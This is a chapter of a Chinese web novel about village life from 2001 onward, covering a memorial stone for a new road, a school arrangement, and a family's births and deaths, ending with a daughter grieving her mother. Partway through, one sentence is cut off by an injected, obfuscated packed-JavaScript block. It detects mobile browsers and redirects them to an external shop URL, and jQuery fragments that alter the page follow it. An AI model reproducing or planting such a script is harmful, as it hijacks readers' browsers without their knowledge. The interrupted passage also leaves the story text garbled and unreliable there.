25. 妈妈

作品:《我在家乡干基建的那些年

    20世纪以不可扭转之力逝去,人类进入新世纪。


    2001年春天,田初露真的尝到了最甜的樱桃。


    经过一年努力,整个陈家村焕然一新,高大明亮不漏水的房子,崭新平坦没有坑洼的土地,都让他们无比期待美好未来。


    春夏之交,众人在一起聊孩子上学时,有人无意提了一嘴陈桃的那双儿女。


    “人家在城里上学,哪里会来咱这小山沟里。”说话人是纪兰。


    她儿子陈禾滔今年该上五年级了,但是五年级的学生不多,大家琢磨着要不要五年级去外村上。


    “是呀,咱不用操心人家。还是先想想自家孩子上学吧。去外村可不近,孩子腿短,一来一回得两小时呢。”一位家里有小孩的嫂子说道。


    “夏天还好,天亮的早黑的晚,要是冬天就有点危险了。”她的面上染上一丝担忧。


    随后她长叹一口气,虽然人多,但是愁的只有她和纪兰两家。


    其他人沉默会儿把话题移到了修路上。“要不在下庄转弯那立个碑,纪念一下此次修路。”


    “立碑?我看行。”


    新话题一展开,大家突然又有了说不完的建议。


    “虽然陈桃没咋在村里待过,但好歹修路她可是出了大头,咱也不是忘恩负义之辈,立个碑算作纪念了。”


    “婶子说的对,立碑也简单,找个黄道吉日咱一块去办了。”


    “我赞同,我赞同。”


    也有不赞同之音,但被人声冲散了。留下的都是好事者,他们探讨一番后决定去村委问问。


    一群人从树荫处离开,纪兰思忖片刻后跟上。“嫂子不去问问孩子上学咋办嘛?”


    “要去。”被纪兰称为嫂子的人也跟了上去。


    陈连正在翻院里晾晒的小麦。见一群人进了大院就立刻停下手中动作。


    “你家麦子淘的真干净。”有人夸赞陈连家的麦子。


    麦子磨成面之前要经过一遍淘洗,洗干净后,晒干,才能去磨,不然磨出的白面会口感不好。


    “没有没有。”陈连谦虚道。


    他把手里耙子竖到墙边,“大家进屋说,外面太阳大。”


    “行行。”


    “有了电后就是好哇,还能进屋凉快会儿。”一男子看着头顶吊扇发生赞叹。


    “可不是,俺家准备也是买个呢。”


    “早买早享受!俺家那个吊扇也不错,我还寻思着再买个电视机呢。”说话人是陈利湖,他突然从人堆后走到最前头。


    “陈老师真会享受,那电视机可不便宜。”


    电视机确实不便宜,就算花大价钱买了回来也是黑白的,和老电影类似,不过买回来就是自家的,他可以想看什么看什么。


    陈利湖咧嘴笑笑不吭声。


    一屋子人把凳子全部坐满,陈利湖没地方坐就先开了口,他不图凉快,他想赶紧解决问题。


    “村里小学近几年孩子还算多,但是五年级和四年级却青黄不接,大家想把四年级和五年级合一起,但是又怕耽误两个年纪进度。”


    “要是去外村上五年级也不失为是和好办法,可是又太远,孩子小,父母也不放心。”


    陈利湖想陈连阐述大家的思考过后的疑虑。


    陈连点头,这样的话他也听到过,马上放暑假,过了暑假就是新学期了,孩子上学自然不能耽搁。


    他思考片刻说,“这个问题我也不能决定,还需要商量商量。”


    村里事不是陈连的一言堂,大家来找他也是为了能寻找更又优解。


    眼下他并没有好的法子推进此事解决。


    “说的是,这事还是得再想想。”陈利湖明白陈连的意思。


    室内沉默下来。


    风扇咯吱咯吱的扇动,许是档数太低造成的。


    “先不说这个了,咱先说说那个立碑的事。”


    一个名为陈平的人把刚才大家在杨树下讨论的事向陈连复述了一遍。


    “俺们都觉得可行,就是得找个识字刻字的。”


    陈连点头,“大家建议很中肯,小桃姑确实为咱村通路贡献很大,立碑一事以我个人来看,我也是极为赞成的。”


    “……那你这是,村里不让立?”陈连的话里透露出一丝古怪。


    “当然不是,立碑不是说一句话就立好的,我可能需要再和大家都商量通知一下。好让大家都知道同意这件事。”陈连立刻澄清道。


    “好吧,那俺们就说这么多,后续咋办你看着办吧。”陈平点头。


    次日,陈连便给了众人答复,他已经告知全村人,大家都同意。


    同意之后就是开工。


    写字刻字交给了陈连和陈利湖。


    陈利湖拿着毛笔写下——桃林路。


    他仿的颜真卿的《多宝塔碑》,三个字写得简洁明快,秀美刚劲。


    开工那日,大家都围着桥边看陈连刻。桥边空地不多,大家一圈一圈围着说话,有些人在最外围差点没看到陈连。


    陈连扬声喊了句开刻,随后田进德贴心的放了串鞭炮,噼里啪啦响了一阵。


    陈家村有这个规矩,开工动土前需要放鞭炮,据说是以示老天保佑平安顺利。主要是图个吉利。


    陈连把纸拓至提前准备好的石头上,然后就坐在凳子上专心致志的开始刻字。


    三个字不大,刻下来用了一上午的时间。


    完工之后大家齐心协力挖了个坑把它立好埋土里。板板正正的碑矗立在村口桥边处,看起来很板正。


    *


    “对,就是你来时看到的那个碑,时间有点久,不如刚开始漂亮了。”


    经他提醒我回忆起了那个不起眼的碑,灰扑扑的它竟然有着如此渊源。


    “该去拾掇拾掇了,我这几天忙着去地里薅草,种玉米,还没来得及。”他揉了揉自己头发,眼睛里溢出纠结。


    我能理解他的忙碌,因为春天正是播种的日子。


    *


    日子过得很快,转眼到了新学期开始的日子,大家集思广益后决定让孩子还在陈家村小学上。


    还按照以往课程进度进行,四年级在四年级教室上,五年级在五年级教室上。


    纪兰对于这个决定很满意,她还特意登门向陈连道谢。


    开门迎她的是田初露,她穿着一身新衣刚从小学发完新书回来。


    “陈连还在地里没回来,婶子


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17329979|198422||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    有事找他?”田初露开门让纪兰进屋。


    纪兰蒯着箩筐进屋给田初露放下一把韭菜,“我刚菜园子里割的。”


    “婶子俺家有,前儿俺妈也给俺了点。”田初露推辞。


    纪兰硬要给,凳子也没坐就又蒯着箩筐走了。事后田初露讲起这件事,陈连点头表示知道了。


    “明天就是我去教学前班的第一天呢。”田初露往陈连身后靠了靠,有些激动的说。


    陈连把被子盖她身上,她已经重复这句话很多遍了,“嗯,睡吧。”


    田初露蒙着头还是兴奋的睡不着觉。


    五年匆匆一晃而过,2006年春天,田初露生下了一个女儿,取名陈景春。


    女儿很漂亮,人人见了都说长得像妈妈。小景春年幼时很活泼。陈连白天常常要陪她一起玩很久,晚上才她才会乖乖睡觉。


    同年秋天陈连爷爷离世,次年秋,陈连奶奶相继逝世。


    秋天带给陈连太多遗憾了,他同父母一同将爷奶葬到了太爷太奶身边。碑是陈连刻的。


    蹒跚学步的小景春很惊讶的挥动胳膊在陈连肩头咿呀咿呀流口水。


    田初露教她叫妈妈,她就收了咿呀声,真的喊了声妈妈。


    “宝宝真乖。”田初露夸她聪明,竟然会叫妈妈了。


    何芳说比她爸强,“陈连快两岁了才会叫人,整天跟着闷葫芦一样,哭都很少哭。”


    陈连问她是不是记错了,她以前明明说他三岁才会说话。


    何芳摆摆手质问他,“你知道我知道啊”。


    好吧,陈连内心叹息。


    2010年前是陈连最幸福的时光,父母在世,妻女常伴。他记忆里要去一睹长城风采的决心越来越弱了。


    后来何芳患上家族遗传的老年痴呆,三年后无药可治逝去。


    又三年,陈春生冬天上山捡柴时无意出了意外,没能救回。


    陈家村西南角又添了两座坟,上次是他同父母一起来一起走,这次只有他们一起来,却不能一起走了。


    “爸爸,爷爷奶奶去哪了?”十岁的小景春披着白头巾在弯腰磕头间隙侧脸很小声的问陈连。


    陈连埋头,眼泪砸在土里半晌没说话。


    田初露拍拍她脑袋,让陈景春赶紧磕头别说话。


    小景春瞪着圆圆的眼睛表示很怀疑,但她最终听了妈妈的话对着面前坟墓磕了三个头。


    土沾在她的额头上,陈连帮她抚去,“爷爷奶奶就在这里,哪也没去。”


    “是吗?”小景春悄悄凑到他耳朵反问,“为什么我没有看到他们。”


    “因为他们躲进土里了。”


    “为什么要躲进土里呀?”


    *


    “妈妈为什么要躲进土里啊?”2021年初春,陈景春又问了这个问题。


    彼时她已经14岁了,对生与死有了自己的认知,她双目含泪,哽咽道,“妈妈是想她的妈妈了吗?”


    陈连僵硬的点头,他想安慰一下女儿,可是他话还没说出来,泪就滚进嘴巴里了。


    “可是我也想妈妈了。”


    陈景春把头贴在地上断断续续道:“爸爸,我也想,妈妈,了,怎么办?”